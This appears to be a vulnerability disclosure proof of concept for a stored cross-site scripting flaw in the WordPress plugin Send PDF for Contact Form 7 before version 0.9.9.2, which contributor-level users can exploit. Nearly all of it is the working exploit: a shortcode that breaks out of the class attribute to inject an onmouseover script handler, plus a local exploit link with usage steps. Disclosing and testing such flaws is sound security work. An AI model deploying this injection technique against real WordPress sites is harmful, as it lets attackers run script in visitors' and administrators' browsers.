Send PDF for Contact Form 7 < 0.9.9.2 - Contributor+ Stored XSS via Shortcode

Proof of Concept

Exploit shortcode:

[wpcf7pdf_download type='text' class='" onmouseover="alert(1)"']

Exploit link:

http://localhost/exploit-page/?pdf-reference=63a3ddc576a74

Note: 

1. The pdf reference value must be specified, which can be found in the Contact > Create PDF page - Last records section.

2. Contact Form 7 plugin is required.